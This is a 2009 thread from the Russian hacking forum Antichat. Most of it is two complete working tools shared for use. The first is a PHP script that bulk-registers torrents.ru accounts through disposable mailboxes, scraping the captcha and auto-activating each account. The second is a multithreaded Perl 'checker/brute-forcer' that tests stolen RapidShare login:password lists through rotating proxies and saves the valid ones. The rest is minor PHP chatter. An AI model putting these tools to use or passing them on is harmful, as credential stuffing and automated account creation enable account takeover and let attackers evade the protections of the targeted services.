Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

13.09.2009, 19:08
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
|
|
|

13.09.2009, 21:03
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Никогда не знал об этом !
(Я храню не пассы в хешах,а кое что другое)
Так что не актуально.Тот кому это нужно - посомтрит и поймет
|
|
|

14.09.2009, 20:38
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
Полуавтоматический регистратор Torrents.ru
PHP код:
<?php
@set_time_limit(0);
@ignore_user_abort(1);
//-----------------//
$torrents = 'torrents.txt'; // Файл с аккаунтами
$divider = ':'; // Разделитель
$sleep = '30'; // Задержка для проверки E-mail
$proxy = ''; // Можно через покси (127.0.0.1:8008)
$log = '0'; // 1 - Если нужно писать логи
$log_txt = 'log.txt'; // Log-файл
//-----------------//
function post($url,$post,$refer,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
if ($proxy == '')
{
$proxy = null;
}
/* Если нам передали капчу... */
if ($_POST['captcha'])
{
/* Регистрируем E-mail */
$result = post('http://odnorazovoe.ru/inbox.php?mailbox='.$_POST['login'],null,'http://odnorazovoe.ru/',$proxy);
/* Массив с данными */
$postdata = array(
'method' => 'post',
'mode' => 'register',
'reg_agreed' => '1',
'sid' => '',
'username' => $_POST['login'],
'email' => $_POST['login'].'@odnorazovoe.ru',
'new_password' => $_POST['password'],
'password_confirm' => $_POST['password'],
'cap_sid' => $_POST['cap_sid'],
'cap_code_'.$_POST['cap_code_'] => $_POST['captcha'],
'user_flag_id' => '0',
'user_timezone_x2' => '6',
'submit' => 'Отправить',
);
/* Отправка данных */
$result = post('http://torrents.ru/forum/profile.php',$postdata,'http://torrents.ru/forum/profile.php?mode=register',$proxy);
if($log == '1')
{
$fh = fopen($log_txt, "a+");
$success - fwrite($fh, $login."Ждём URL-активации [".date("H:i")."]\r\n");
fclose($fh);
}
/* Цикл проверки почты */
while($email[1] == null)
{
$result_email = post('http://odnorazovoe.ru/inbox.php?mailbox='.$_POST['login'],null,'http://odnorazovoe.ru/',$proxy);
preg_match('#eml.php(.*?)"#i',$result_email,$email);
sleep($sleep);
}
/* Получаем URL-активации */
$result = post('http://odnorazovoe.ru/eml.php'.$email[1],null,'http://odnorazovoe.ru/',$proxy);
preg_match('#activate(.*?)<#i',$result,$url);
$url = str_replace("&","&",$url[1]);
/* Отправляем данные */
$result = post('http://torrents.ru/forum/profile.php?mode=activate'.$url,null,'http://odnorazovoe.ru/',$proxy);
if(preg_match('#активиз(.*?)\.#i',$result,$end))
{
/* Сохраняем результат */
$fh = fopen($torrents, "a+");
$success - fwrite($fh, $_POST['login'].$divider.$_POST['password']."\r\n");
fclose($fh);
if($log == '1')
{
$fh = fopen($log_txt, "a+");
$success - fwrite($fh, "Зарегистрировались [".date("H:i")."]\r\n");
fclose($fh);
}
Header('Location: index.php');
}
}
else
{
/* ...если не передали капчу */
$letters = 'abcdefghijklmopkqrstuvwxyz';
for ($i = 0; $i < 20; $i++)
{
$login .= $letters{rand(0, strlen($letters) - 1)};
}
$password = rand(123456,7777777);
$name = rand(0,7777777);
/* Получаем страницу регистрации */
$result = post('http://torrents.ru/forum/profile.php?mode=register','reg_agreed=1','http://torrents.ru/forum/profile.php?mode=register',$proxy);
/* Вытаскиваем нужные значения */
preg_match('#http://static.torrents.ru/captcha/(.*?)"#i',$result,$match);
preg_match('#cap_sid" value="(.*?)"#i',$result,$match_sid);
preg_match('#cap_code_(.*?)"#i',$result,$match_cap);
/* Регистрация на трекере ограничена */
if($match[1] == '')
{
echo '<script>alert(\'В данный момент регистрация закрыта!\')</script>';
}
}
/* geforse.name */
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Content-Style-Type" content="text/css">
<title>torrents.ru | geforse.name</title>
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
<link rel="search" type="application/opensearchdescription+xml" title="Поиск на torrents.ru" href="http://static.torrents.ru/opensearch.xml">
<link rel="stylesheet" type="text/css" href="http://static.torrents.ru/templates/default/css/main.css?v=18" media="all">
</head><body>
<div id="preload" style="overflow: hidden; position: absolute; top: 0pt; left: 0pt; height: 1px; width: 1px;"></div>
<div id="body_container">
<div id="page_container">
<a name="top"></a>
<div id="page_header">
<div id="logo">
<table cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td style="padding: 4px 0pt 5px;">
<a href="http://torrents.ru/forum/index.php"><img src="http://static.torrents.ru/images/logo/logo.gif" alt="logo" height="85" width="320"></a>
</td>
</tr>
</tbody></table>
</div>
<div class="topmenu">
<table cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
</tr>
</tbody></table>
</div>
<div id="page_content">
<table style="width: 100%;" border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td id="main_content">
<div id="main_content_wrap">
<h1 class="pagetitle">Регистрация</h1>
<form action="index.php" method="post">
<table class="forumline usercp_register">
<col class="row1" width="35%">
<col class="row2" width="65%">
<tbody class="pad_4">
<tr>
<th colspan="2">Регистрационная информация</th>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>
<td>Код подтверждения:</td>
<td>
<div><img src="http://static.torrents.ru/captcha/<?php echo $match[1]; ?>" alt="pic" height="72" width="120"></div>
<div>
<input name="captcha" value="" class="bold" type="text">
<input type="hidden" name="cap_sid" value="<?php echo $match_sid[1]; ?>" />
<input type="hidden" name="cap_code_" value="<?php echo $match_cap[1]; ?>" />
<input type="hidden" name="name" value="<?php echo $name; ?>" />
<input type="hidden" name="login" value="<?php echo $login; ?>" />
<input type="hidden" name="password" value="<?php echo $password; ?>" />
</div>
<br>
<a href="http://geforse.name/" target="_blank">geforse.name</a>
</td>
</tr>
<tr>
<td class="row2" colspan="2">
<div id="infobox-wrap" class="bCenter row1">
</div>
</td>
</tr>
<tr>
<td class="catBottom" colspan="2">
<div id="submit-buttons">
<input name="submit" value="Отправить" class="bold" type="submit">
</div>
</td>
</tr>
</tbody>
</table>
</form>
</div>
</td>
</tr></tbody></table>
</div>
</div>
</div>
</body></html>
P.S. регистрация доступна 16:00-18:00, поэтому не нужно пытаться запускать скрипт в другое время
/* geforse.name */
|
|
|

14.09.2009, 21:39
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
PHP код:
<input type="hidden" name="cap_sid" value="<?php echo $match_sid[1]; ?>" />
<input type="hidden" name="cap_code_" value="<?php echo $match_cap[1]; ?>" />
<input type="hidden" name="name" value="<?php echo $name; ?>" />
<input type="hidden" name="login" value="<?php echo $login; ?>" />
<input type="hidden" name="password" value="<?php echo $password; ?>" />
Можно везде заменить на:
PHP код:
<input type="hidden" name="name" value="<?=$name;?>" />
|
|
|

15.09.2009, 18:27
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
Думаем => Проверяем => Пишем
b3, у вас со вторым шагом проблемы
Вот вы написали $name; и по вашему что, интерпретатор php догадается что нужно вывести эту переменную на экран ?
|
|
|

15.09.2009, 18:37
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
Сообщение от geforse
Думаем => Проверяем => Пишем
b3, у вас со вторым шагом проблемы
Вот вы написали $name; и по вашему что, интерпретатор php догадается что нужно вывести эту переменную на экран ?
PHP код:
<input type="hidden" name="name" value="<?=$name;?>" />
выведет значение переменной $name
|
|
|

15.09.2009, 18:38
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
geforse, а по моему это у вас проблемы со знанием языка PHP.
|
|
|

15.09.2009, 18:42
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
не знал что равно перед переменной в данном случае выведет её значение )
беру слова назад)
|
|
|

16.09.2009, 18:47
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме: 1420275
Репутация:
127
|
|
Писал когда то чекер/брутер акков рапиды
Код:
#!/usr/bin/perl
#RapidShare.com checker by Gaus
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
#################################################
my $threads_count = 1; # Кол-во потоков
my $file_accounts = 'accs.txt'; # Файл с акками
my $file_valid_accounts = 'valid.txt'; # Файл с валидными акками
my $delm_accounts = ';'; # Разделитель списка акков
my $proxy_file = 'proxy.txt'; # Файл с прокси
my $proxy_mode = 'OFF'; # Юзать прокси(ON/OFF)
#################################################
my @accs : shared = lf($file_accounts);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads_count;
$_->join for threads->list;
sub main
{
while(@accs)
{
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my ($login, $pass) = split $delm_accounts => shift @accs;
my $answ = $ua->post("https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi",
["uselandingpage" => 1,
"login" => $login,
"password" => $pass])->code;
if($answ == 302)
{
wf($file_valid_accounts, "$login:$pass\n");
print "[ + ] $login:$pass\n";
}
else
{
print "[ - ] $login:$pass\n";
}
}
}
sub proxy
{
my $ua = shift;
my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
if($test =~ m,REMOTE_ADDR=$ip,i)
{
print "[ + ] Current proxy: $ip:$port\n";
return 1;
}
else
{
print "[ - ] Error proxy: $ip:$port\n";
return 0;
}
}
sub agent
{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
|
|
|

17.09.2009, 02:26
|
|
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме: 991929
Репутация:
395
|
|
Я тут щас вспомнил одну штуку которую я юзал года 2 назад... это stdClass (уверен что многие даже не знают о его существовании). Это встроенный в php обьект (незнаю был ли он в php3 но в 4 версии был точно) он не поддерживает методов, но в нем очень удобно хранить любые данные и переменные. Если вы приверженец функцонального программирования stdClass избавит вас от проблемы области видимости переменных (аля global $a,$b,$c.....$z; блин не работает ааа!!! забыл $z1 прописать...)
PHP код:
$obj = new StdClass;
$obj->a="Hay";
$obj->b=array("a","b","c");
$obj->x=1;
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|